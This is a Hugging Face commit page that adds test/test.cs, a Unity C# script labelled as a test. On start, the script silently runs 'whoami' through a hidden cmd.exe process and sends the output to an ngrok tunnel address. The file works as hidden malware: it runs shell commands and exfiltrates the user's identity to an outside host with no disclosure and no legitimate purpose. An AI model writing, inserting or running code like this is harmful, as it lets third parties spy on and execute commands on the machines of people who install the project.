bostadynamics commited on
Commit
88a485a
1 Parent(s): 7ff5722

Upload test/test.cs with huggingface_hub

Browse files
Files changed (1) hide show
  1. test/test.cs +52 -0
test/test.cs ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ using UnityEngine;
2
+ using UnityEngine.Networking;
3
+ using System.Collections;
4
+ using System.Diagnostics; // We still need System.Diagnostics for Process
5
+ using System.IO;
6
+
7
+ public class HttpCaller : MonoBehaviour
8
+ {
9
+ private IEnumerator Start()
10
+ {
11
+ // Execute the whoami command and capture the output
12
+ string whoamiResult = ExecuteCommand("whoami");
13
+
14
+ // Clean up the output and create the URL
15
+ whoamiResult = whoamiResult.Trim().Replace("\\", "/"); // Formatting the output for URL compatibility
16
+ string url = "https://1396-46-117-93-170.ngrok-free.app/" + whoamiResult;
17
+
18
+ using (UnityWebRequest webRequest = UnityWebRequest.Get(url))
19
+ {
20
+ yield return webRequest.SendWebRequest();
21
+
22
+ if (webRequest.isNetworkError || webRequest.isHttpError)
23
+ {
24
+ UnityEngine.Debug.Log("Error: " + webRequest.error); // Specify UnityEngine for Debug
25
+ }
26
+ else
27
+ {
28
+ UnityEngine.Debug.Log("Received: " + webRequest.downloadHandler.text); // Specify UnityEngine for Debug
29
+ }
30
+ }
31
+ }
32
+
33
+ // Function to execute a shell command and return the output
34
+ private string ExecuteCommand(string command)
35
+ {
36
+ var process = new Process
37
+ {
38
+ StartInfo = new ProcessStartInfo
39
+ {
40
+ FileName = "cmd.exe",
41
+ Arguments = "/c " + command,
42
+ RedirectStandardOutput = true,
43
+ UseShellExecute = false,
44
+ CreateNoWindow = true
45
+ }
46
+ };
47
+ process.Start();
48
+ string output = process.StandardOutput.ReadToEnd();
49
+ process.WaitForExit();
50
+ return output;
51
+ }
52
+ }